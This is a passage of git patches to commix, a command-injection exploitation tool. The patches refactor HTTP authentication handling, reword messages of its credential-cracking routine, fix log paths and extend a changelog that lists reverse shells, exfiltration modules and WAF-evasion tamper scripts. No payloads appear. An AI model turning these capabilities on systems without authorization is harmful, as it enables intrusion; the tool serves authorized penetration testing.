HTTP_HEADERS = [ "user-agent", "referer", "host" ] From c09842d3433fdf037e40cd3dc6c7eeff47d7d5b8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 28 May 2023 09:59:44 +0300 Subject: [PATCH 0303/1023] Minor update regarding commit: https://github.com/commixproject/commix/commit/a336e04330c25738473ef329443feaa8eadd98df --- src/core/injections/controller/parser.py | 4 +- src/core/main.py | 7 +-- src/core/requests/authentication.py | 4 +- src/core/requests/headers.py | 61 ++++++++++++------------ src/core/requests/requests.py | 4 +- src/utils/settings.py | 7 ++- 6 files changed, 45 insertions(+), 42 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index ed24231325..844a3043d0 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -162,9 +162,9 @@ def invalid_data(request): if re.findall(r"Authorization: " + "(.*)", line): auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split() menu.options.auth_type = auth_provided[0].lower() - if menu.options.auth_type == "basic": + if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() - elif menu.options.auth_type == "digest": + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: if not menu.options.auth_cred: print(settings.SINGLE_WHITESPACE) err_msg = "Use the '--auth-cred' option to provide a valid pair of " diff --git a/src/core/main.py b/src/core/main.py index 1b1c0a6900..58b16cd9dd 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -192,12 +192,13 @@ def init_request(url): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." print(settings.print_debug_msg(debug_msg)) + # Used a valid pair of valid credentials if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 : - if menu.options.auth_type.lower() in ("basic", "digest"): + if menu.options.auth_type.lower() in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST): _ = "credentials" else: _ = "token" - debug_msg = "Using '" + menu.options.auth_cred + "' " + _ + " for, " + menu.options.auth_type + debug_msg = "Using '" + menu.options.auth_cred + "' " + _ + ", for " + menu.options.auth_type debug_msg += " HTTP authentication." print(settings.print_debug_msg(debug_msg)) if menu.options.proxy: @@ -678,7 +679,7 @@ def main(filename, url): raise SystemExit() if menu.options.auth_cred and menu.options.auth_type: - if menu.options.auth_type.lower() in ("basic", "digest") and not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): + if menu.options.auth_type.lower() in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST) and not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): error_msg = "HTTP " + str(menu.options.auth_type) error_msg += " authentication credentials value must be in format 'username:password'." print(settings.print_critical_msg(error_msg)) diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 038ad3efbc..b6bacc7165 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -163,10 +163,10 @@ def http_auth_cracker(url, realm): sys.stdout.flush() try: # Basic authentication - if authentication_type.lower() == "basic": + if authentication_type.lower() == settings.AUTH_TYPE.BASIC: authhandler = _urllib.request.HTTPBasicAuthHandler() # Digest authentication - elif authentication_type.lower() == "digest": + elif authentication_type.lower() == settings.AUTH_TYPE.DIGEST: authhandler = _urllib.request.HTTPDigestAuthHandler() authhandler.add_password(realm, url, username, password) opener = _urllib.request.build_opener(authhandler) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 23f0bfe08c..d9c5f62a0b 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -300,39 +300,38 @@ def do_check(request): # Check if defined any HTTP Authentication credentials. # HTTP Authentication: Basic, Digest, Bearer Access Authentication. if menu.options.auth_cred and menu.options.auth_type: - try: - settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type.lower()) - if menu.options.auth_type.lower() == "bearer": - request.add_header(settings.AUTHORIZATION, "Bearer " + menu.options.auth_cred.strip()) - elif menu.options.auth_type.lower() == "basic": - b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '') - request.add_header(settings.AUTHORIZATION, "Basic " + b64_string) - elif menu.options.auth_type.lower() == "digest": - try: - url = menu.options.url - try: - response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as e: - try: - authline = e.headers.get('www-authenticate', '') - authobj = re.match('''(\w*)\s+realm=(.*),''',authline).groups() - realm = authobj[1].split(',')[0].replace("\"","") - user_pass_pair = menu.options.auth_cred.split(":") - username = user_pass_pair[0] - password = user_pass_pair[1] - authhandler = _urllib.request.HTTPDigestAuthHandler() - authhandler.add_password(realm, url, username, password) - opener = _urllib.request.build_opener(authhandler) - _urllib.request.install_opener(opener) - result = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except AttributeError: - pass - except _urllib.error.HTTPError as e: - pass - except ValueError: + if menu.options.auth_type.lower() not in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST, settings.AUTH_TYPE.BEARER): err_msg = "HTTP authentication type value must be Basic, Digest or Bearer." print(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit() + if menu.options.auth_type.lower() == settings.AUTH_TYPE.BEARER: + request.add_header(settings.AUTHORIZATION, "Bearer " + menu.options.auth_cred.strip()) + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: + b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '') + request.add_header(settings.AUTHORIZATION, "Basic " + b64_string) + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: + try: + url = menu.options.url + try: + response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) + except _urllib.error.HTTPError as e: + try: + authline = e.headers.get('www-authenticate', '') + authobj = re.match('''(\w*)\s+realm=(.*),''',authline).groups() + realm = authobj[1].split(',')[0].replace("\"","") + user_pass_pair = menu.options.auth_cred.split(":") + username = user_pass_pair[0] + password = user_pass_pair[1] + authhandler = _urllib.request.HTTPDigestAuthHandler() + authhandler.add_password(realm, url, username, password) + opener = _urllib.request.build_opener(authhandler) + _urllib.request.install_opener(opener) + result = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) + except AttributeError: + pass + except _urllib.error.HTTPError as e: + pass + else: pass diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 8f1d171b35..e29c32a397 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -157,7 +157,7 @@ def estimate_response_time(url, timesec): print(settings.print_bold_info_msg(info_msg)) else: # Basic authentication - if menu.options.auth_type == "basic": + if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." @@ -182,7 +182,7 @@ def estimate_response_time(url, timesec): pass # Digest authentication - elif menu.options.auth_type == "digest": + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." diff --git a/src/utils/settings.py b/src/utils/settings.py index 9c9cc4a864..fc732aea53 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "20" +REVISION = "21" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -988,7 +988,10 @@ def sys_argv_errors(): METASPLOIT_PATH = "/usr/share/metasploit-framework/" # Supported HTTP Authentication types -SUPPORTED_HTTP_AUTH_TYPES = [ "basic", "digest", "bearer" ] +class AUTH_TYPE(object): + BASIC = "basic" + DIGEST = "digest" + BEARER = "bearer" # HTTP Headers HTTP_HEADERS = [ "user-agent", "referer", "host" ] From c29d9d4582ea6b8184ff05407b12b42d895a6db9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 1 Jun 2023 08:34:49 +0300 Subject: [PATCH 0304/1023] Minor update --- src/core/main.py | 13 ++++--------- src/core/requests/authentication.py | 6 +++--- src/core/requests/proxy.py | 4 ++-- src/utils/settings.py | 4 ++-- 4 files changed, 11 insertions(+), 16 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 58b16cd9dd..7af298d987 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -189,20 +189,15 @@ def init_request(url): request = _urllib.request.Request(url) # Check if defined any HTTP Proxy (--proxy option). headers.do_check(request) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." - print(settings.print_debug_msg(debug_msg)) # Used a valid pair of valid credentials if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 : - if menu.options.auth_type.lower() in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST): - _ = "credentials" - else: - _ = "token" - debug_msg = "Using '" + menu.options.auth_cred + "' " + _ + ", for " + menu.options.auth_type - debug_msg += " HTTP authentication." + debug_msg = "Setting the HTTP authentication type and credentials." print(settings.print_debug_msg(debug_msg)) if menu.options.proxy: proxy.do_check() + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." + print(settings.print_debug_msg(debug_msg)) return request """ diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index b6bacc7165..052d27c3e6 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -155,7 +155,7 @@ def http_auth_cracker(url, realm): float_percent = "{0:.1f}%".format(round(((i*100)/(total*1.0)),2)) # Check if verbose mode on if settings.VERBOSITY_LEVEL != 0: - payload = "" + username + ":" + password + "" + payload = "'" + username + ":" + password + "'" if settings.VERBOSITY_LEVEL >= 2: print(settings.print_checking_msg(payload)) else: @@ -200,7 +200,7 @@ def http_auth_cracker(url, realm): i = i + 1 float_percent = ".. (" + float_percent + ")" if settings.VERBOSITY_LEVEL == 0: - info_msg = "Checking for a valid pair of credentials." + info_msg = "Checking for valid pair of HTTP authentication credentials." info_msg += float_percent sys.stdout.write("\r\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -208,7 +208,7 @@ def http_auth_cracker(url, realm): valid_pair = "" + username + ":" + password + "" if not settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) - info_msg = "Identified a valid pair of credentials '" + info_msg = "Identified valid pair of HTTP authentication credentials: '" info_msg += valid_pair + Style.RESET_ALL + Style.BRIGHT + "'." print(settings.print_bold_info_msg(info_msg)) return valid_pair diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 14290cc5e4..881965ecfb 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -39,7 +39,7 @@ def use_proxy(request): """ def do_check(): if settings.VERBOSITY_LEVEL != 0: - info_msg = "Setting the HTTP proxy for all HTTP requests. " - print(settings.print_info_msg(info_msg)) + debug_msg = "Setting the HTTP proxy for all HTTP requests. " + print(settings.print_debug_msg(debug_msg)) # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index fc732aea53..51ab6057f9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -63,7 +63,7 @@ class HTTPMETHOD(object): ABORTION_SIGN = ERROR_SIGN DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT -CHECK_SIGN = DEBUG_SIGN + "Checking pair of credentials: " +CHECK_SIGN = DEBUG_SIGN + "Checking pair of HTTP authentication credentials: " OS_SHELL_TITLE = Style.BRIGHT + "Pseudo-Terminal Shell (type '?' for available options)" + Style.RESET_ALL OS_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """ REVERSE_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """ @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "21" +REVISION = "22" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3994fcce8e4aeb046abcb0ba9f1ee692f6f4b97a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 2 Jun 2023 07:59:36 +0300 Subject: [PATCH 0305/1023] Update CHANGELOG.md --- doc/CHANGELOG.md | 70 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 70 insertions(+) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 47b6cfc3d5..16822dfa87 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -15,6 +15,8 @@ * Revised: Minor improvement regarding adding PCRE `/e` modifier (i.e. dynamic code evaluation technique). * Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.6...v3.7)._ + ## Version 3.6 (2022-11-18) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding dynamic code evaluation heuristic check. @@ -24,6 +26,8 @@ * Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). * Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.5...v3.6)._ + ## Version 3.5 (2022-07-03) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding Windows-based payloads for every supported technique. @@ -45,6 +49,8 @@ * Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e Cookies, HTTP headers) but also performs more tests for each injection point. * Revised: Improvement regarding injecting into custom HTTP Header(s). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.4...v3.5)._ + ## Version 3.4 (2022-02-25) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`). @@ -57,6 +63,8 @@ * Revised: Improvements regarding dynamic code evaluation heuristic check. * Replaced: The `--encoding` option has been replaced with `--codec`. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.3...v3.4)._ + ## Version 3.3 (2021-09-13) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Minor bug-fix regarding scanning multiple targets given in a textual file (i.e. via option `-m`). @@ -72,6 +80,8 @@ * Added: The .bat files command separator (i.e. ["%1a"](http://seclists.org/fulldisclosure/2016/Nov/67)) has been added. * Added: New option `--method` to force usage of provided HTTP method (e.g. `PUT`). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.2...v3.3)._ + ## Version 3.2 (2021-04-12) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Added: New tamper script "slash2env.py" that replaces slashes ("/") with environment variable value "${PATH%%u*}" (for *nix targets). @@ -96,6 +106,8 @@ * Fixed: Bug-fix regarding Basic HTTP authentication. * Fixed: Bug-fix regarding connection problems (via @fuero). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.1...v3.2)._ + ## Version 3.1 (2020-06-17) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Added: A script "setup.py" has been added (i.e. easier installation). @@ -113,6 +125,8 @@ * Revised: Improvements regarding data in the detailed message about occurred unhandled exception. * Revised: Minor bug-fixes and improvements regarding HTTP authentication dictionary-based cracker. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.0-20191111...v3.1)._ + ## Version 3.0 (2019-11-11) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvement regarding identifying the indicated web-page charset. @@ -123,6 +137,8 @@ * Replaced: The `--ignore-401` option has been replaced with `--ignore-code` option. * Added: New option ( `--ignore-code`) for ignoring (problematic) HTTP error code (e.g. 401). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.9-20190626...v3.0-20191111)._ + ## Version 2.9 (2019-06-26) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Bug-fix regarding parsing hostname and port from URL. @@ -138,6 +154,8 @@ * Revised: Minor improvements regarding preventing false negative results, due to parameters tampering during the detection phase. * Revised: Minor improvements regarding "reverse_tcp" and "bind_tcp" shell options. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.8-20190326...v2.9-20190626)._ + ## Version 2.8 (2019-03-26) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Updated: Minor update regarding accepting overly long result lines. @@ -148,6 +166,8 @@ * Added: Support for writing crawling results to a temporary file (for eventual further processing with other tools). * Added: Support for Windows "Python" on "reverse_tcp" shell option. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.7-20181218...v2.8-20190326)._ + ## Version 2.7 (2018-12-18) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: The suffixes list has been shortly revised. @@ -169,6 +189,8 @@ * Fixed: Minor bug-fix regarding loading tamper scripts. * Revised: Minor improvement regarding "INJECT_HERE" tag (i.e. declaring injection position) to be case insensitive. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.6-20180921...v2.7-20181218)._ + ## Version 2.6 (2018-09-21) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement in session handler regarding IPv6 targets. @@ -187,6 +209,8 @@ * Revised: Minor improvement regarding ignoring the Google Analytics cookie in all scanning attempts. * Fixed: Minor bug-fix regarding "bind_tcp" shell option. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.5-20180713...v2.6-20180921)._ + ## Version 2.5 (2018-07-13) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvement regarding identifying the appropriate format parameters, in the provided POST data. @@ -203,6 +227,8 @@ * Revised: Improvement regarding combining tamper script "multiplespaces.py" with other space-related tamper script(s). * Added: New tamper script "multiplespaces.py" that adds multiple spaces around OS commands. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.4-20180521...v2.5-20180713)._ + ## Version 2.4 (2018-05-21) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Minor bug-fix regarding ignoring invalid and/or empty tamper scripts. @@ -212,6 +238,8 @@ * Added: New tamper script "caret.py" that adds the caret symbol (^) between the characters of the generated payloads (for windows targets). * Added: New tamper script "singlequotes.py" that adds single quotes (') between the characters of the generated payloads (for *nix targets). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.3-20180307...v2.4-20180521)._ + ## Version 2.3 (2018-03-07) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding testing the Host HTTP header. @@ -228,6 +256,8 @@ * Revised: Improvement regarding testing json-formated POST data with empty value(s). * Revised: Minor improvement regarding verbose mode for removing the first and/or last line of the html content (in case there are/is empty). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.2-20171212...v2.3-20180307)._ + ## Version 2.2 (2017-12-12) * Revised: Minor improvement in "updater", for supporting verbose mode. * Fixed: Minor bug-fix regarding cookie-based command injections. @@ -241,6 +271,8 @@ * Added: New option `--skip` regarding excluding certain parameter(s) from testing. * Added: New option `--skip-technique` regarding excluding certain injection technique(s) from testing. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.1-20171003...v2.2-20171212)._ + ## Version 2.1 (2017-10-03) * Added: New option `--header` for providing a single extra HTTP header (e.g. 'X-Forwarded-For: 127.0.0.1'). * Added: New option `--check-internet` that checks internet connection before assessing the target. @@ -258,6 +290,8 @@ * Fixed: Major bug-fix regarding connection problem over HTTPS. * Added: New option `--purge-output` to turn on safe removal of all content(s) from output directory. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.0-20170714...v2.1-20171003)._ + ## Version 2.0 (2017-07-14) * Revised: Minor improvement for automatically increasing default `--time-sec` value when `--tor` used. * Fixed: Minor improvement for not re-testing Tor SOCKS proxy settings (in case of multiple targets). @@ -272,6 +306,8 @@ * Added: New option `--mobile` that imitates smartphone through HTTP User-Agent header. * Added: New option `--retries` that retries request(s) when the connection timeouts. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.9-20170502...v2.0-20170714)._ + ## Version 1.9 (2017-05-02) * Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-supplied time delay. * Revised: The time-related ("time-based"/"tempfile-based") payloads, have been shortly revised. @@ -284,6 +320,8 @@ * Replaced: The `--root-dir` option has been replaced with `--web-root` option. * Added: New option `--wizard` that shows a simple wizard interface for beginner users. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.8-20170315...v1.9-20170502)._ + ## Version 1.8 (2017-03-15) * Added: New feauture for installing Unicorn tool (if not installed on host). * Removed: The pre-installed version of Unicorn tool has been removed. @@ -299,6 +337,8 @@ * Fixed: Minor improvement for checking for established TCP connections. * Fixed: Minor improvement for not reopening meterpreter sessions (in case of user abortion). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.7-20170203...v1.8-20170315)._ + ## Version 1.7 (2017-02-03) * Fixed: Minor improvement regarding unverified SSL context(s). * Added: New values ("URIPATH", "SRVPORT") have been added to "Set" option. @@ -314,6 +354,8 @@ * Fixed: Improvement regarding testing the parameter(s) with empty value(s). * Added: New CGI shellscript path "/cgi-bin/cgiCmdNotify" (vulnerable to shellshock) has been added. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.6-20161228...v1.7-20170203)._ + ## Version 1.6 (2016-12-28) * Fixed: Improvement regarding json-formated POST data, where whitespace before (and/or after) the ":" exists. * Fixed: Minor fix regarding empty value(s) in provided parameter(s). @@ -329,6 +371,8 @@ * Revised: The dynamic code evaluation ("eval-based") payloads have been shortly revised. * Added: The executed command and the execution results output has been added to log file. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.5-20161117...v1.6-20161228)._ + ## Version 1.5 (2016-11-17) * Fixed: Minor improvement in the "ICMP exfiltration" module. * Fixed: Minor improvement for choosing default value when pressing enter. @@ -340,6 +384,8 @@ * Added: New verbosity level (3) for printing the HTTP response headers. * Added: New verbosity level (2) for printing the performed HTTP requests headers. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.4-20161017...v1.5-20161117)._ + ## Version 1.4 (2016-10-17) * Added: Support on crawler for checking target for the existence of 'sitemap.xml'. * Revised: The payload for Ruby reverse-shell has been shortly revised. @@ -351,6 +397,8 @@ * Fixed: Minor improvement in the function that checks for updates on start up. * Fixed: Minor improvements in enumeration options (added failure messages). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.3-20160914...v1.4-20161017)._ + ## Version 1.3 (2016-09-14) * Fixed: Minor improvements in "reverse_tcp" option. * Added: Support for the metasploit "web_delivery" script. @@ -361,6 +409,8 @@ * Fixed: Minor improvement in Shellshock module for ignoring junk output on response. * Fixed: Minor improvement in Shellshock module for finding RCE results on page's response. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.2-20160812...v1.3-20160914)._ + ## Version 1.2 (2016-08-12) * Added: The ability for setting custom (PHP / Python) working directory. * Fixed: License file minor inaccurancy issue has been fixed. @@ -373,6 +423,8 @@ * Fixed: Minor improvement for finding the URL part (i.e scheme:[//host[:port]][/]path). * Fixed: Minor fix for conflicted shells (i.e regular, alternative) from session file. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.1-20160714...v1.2-20160812)._ + ## Version 1.1 (2016-07-14) * Added: The ".gitignore" file has been added. * Added: Support for injections against ASP.NET applications. @@ -383,6 +435,8 @@ * Added: Support for automated enabling of an HTTP server for `--file-upload` option. * Fixed: Minor fix for "Python-urllib" User-Agent exposure. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.0-20160614...v1.1-20160714)._ + ## Version 1.0 (2016-06-14) * Revised: Time-relative statistical analysis for recognition of unexpected time delays due to unstable requests. * Added: A list of pages / scripts potentially vulnerable to shellshock. @@ -391,6 +445,8 @@ * Fixed: HTTPS requests fixation, if the `--proxy` option is enabled. * Fixed: Multiple fixes regarding the shellshock module have been performed. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.9b-20160607...v1.0-20160614)._ + ## Version 0.9b (2016-06-07) * Added: The ability to re-perform the injection request if it has failed. * Fixed: The shell output in semiblind ("file-based") technique has been fixed not to concat new lines. @@ -405,6 +461,8 @@ * Revised: The "time-based" (blind) technique for *nix targets has been shortly revised. * Revised: The source code has been revised to support "print_state_msg" (i.e error, warning, success etc) functions. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.8b-20160506...v0.9b-20160607)._ + ## Version 0.8b (2016-05-06) * Fixed: The `--file-read` option to ignore the carriage return ("\r") character in a text file. * Added: The ability to check for empty value(s) in the defined GET/POST/Cookie(s) data and skip. @@ -415,6 +473,8 @@ * Added: The ability to check every GET parameter in the defined URL and/or every POST provided data. * Added: New option `--all` that enables all supported enumeration options. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.7b-20160418...v0.8b-20160506)._ + ## Version 0.7b (2016-04-18) * Fixed: HTTP proxy logs parser to accept GET http requests. * Fixed: HTTP proxy logs parser to recognise provided HTTP authentication credentials. @@ -423,6 +483,8 @@ * Added: Dictionary-based cracker for "Digest" HTTP authentication credentials. * Added: Support for "Digest" HTTP authentication type. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.6b-20160401...v0.7b-20160418)._ + ## Version 0.6b (2016-04-01) * Added: The ability to store valid (Basic) credentials into session files for current target. * Added: New option `--ignore-401` that ignores HTTP Error 401 (Unauthorized) and continues tests without providing valid credentials. @@ -433,6 +495,8 @@ * Added: New option `--dns-server` that supports the "DNS exfiltration" injection technique (module). * Added: New option `--dependencies` that checks (non-core) third party dependenices. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.5b-20160316...v0.6b-20160401)._ + ## Version 0.5b (2016-03-16) * Fixed: The payload(s) for dynamic code evaluation ("eval-based"), if there is not any separator. * Added: Support for verbose mode in the "ICMP exfiltration" injection technique (module). @@ -440,6 +504,8 @@ * Added: New option `--os` that forces a user-defined os name. * Added: Support for testing custom HTTP headers (via `--headers` parameter). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.4.1b-20160226...v0.5b-20160316)._ + ## Version 0.4.1b (2016-02-26) * Added: Support for storing and retrieving executed commands from session file. * Added: New option `-s` for loading session from session file. @@ -447,12 +513,16 @@ * Added: New option `--flush-session` for flushing session files for current target. * Added: Support to resume to the latest injection points from session file. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.4b-20160204...v0.4.1b-20160226)._ + ## Version 0.4b (2016-02-04) * Added: Payload mutation if WAF/IPS/IDS protection is detected. * Added: Check for existence of WAF/IPS/IDS protection (via error pages). * Added: The "set" option in "reverse_tcp" which sets a context-specific variable to a value. * Added: New option `--force-ssl` for forcing usage of SSL/HTTPS requests. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.3b-20160115...v0.4b-20160204)._ + ## Version 0.3b (2016-01-15) * Added: Time-relative false-positive identification, which identifies unexpected time delays due to unstable requests. * Added: New option `-l`, that parses target and data from HTTP proxy log file (i.e Burp or WebScarab). From 3ffd261f5fb5ff263a91ead509c26beb12497d57 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 3 Jun 2023 08:28:04 +0300 Subject: [PATCH 0306/1023] Fixes https://github.com/commixproject/commix/issues/839 --- doc/CHANGELOG.md | 3 ++- src/utils/logs.py | 7 +++---- src/utils/settings.py | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 16822dfa87..781569cd3a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,7 +1,8 @@ ## Version 3.8 (TBA) +* Fixed: Minor bug-fix regarding setting custom output directory path (i.e `--output-dir` option). * Added: Support for "Bearer" HTTP authentication type. * Revised: Minor improvement regarding tamper script "xforwardedfor.py" (that appends a fake HTTP header `X-Forwarded-For`). -* Revised: Minor bug-fix regarding not ignoring specified injection technique(s) when `--ignore-session` or `--flush-session` options are set. +* Fixed: Minor bug-fix regarding not ignoring specified injection technique(s) when `--ignore-session` or `--flush-session` options are set. * Replaced: The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies. * Added: New option `--alert` to run host OS command(s) when injection point is found. diff --git a/src/utils/logs.py b/src/utils/logs.py index 22734520a7..42966c5471 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -50,6 +50,7 @@ def path_creation(path): """ def logs_filename_creation(url): if menu.options.output_dir: + menu.options.output_dir = os.path.abspath(menu.options.output_dir) if os.path.isdir(menu.options.output_dir): output_dir = menu.options.output_dir else: @@ -58,13 +59,11 @@ def logs_filename_creation(url): raise SystemExit() else: output_dir = settings.OUTPUT_DIR - - output_dir = os.path.dirname(output_dir) - path_creation(output_dir) + path_creation(os.path.dirname(settings.OUTPUT_DIR)) if not output_dir.endswith("/"): output_dir = output_dir + "/" - + # The logs filename construction. filename = create_log_file(url, output_dir) diff --git 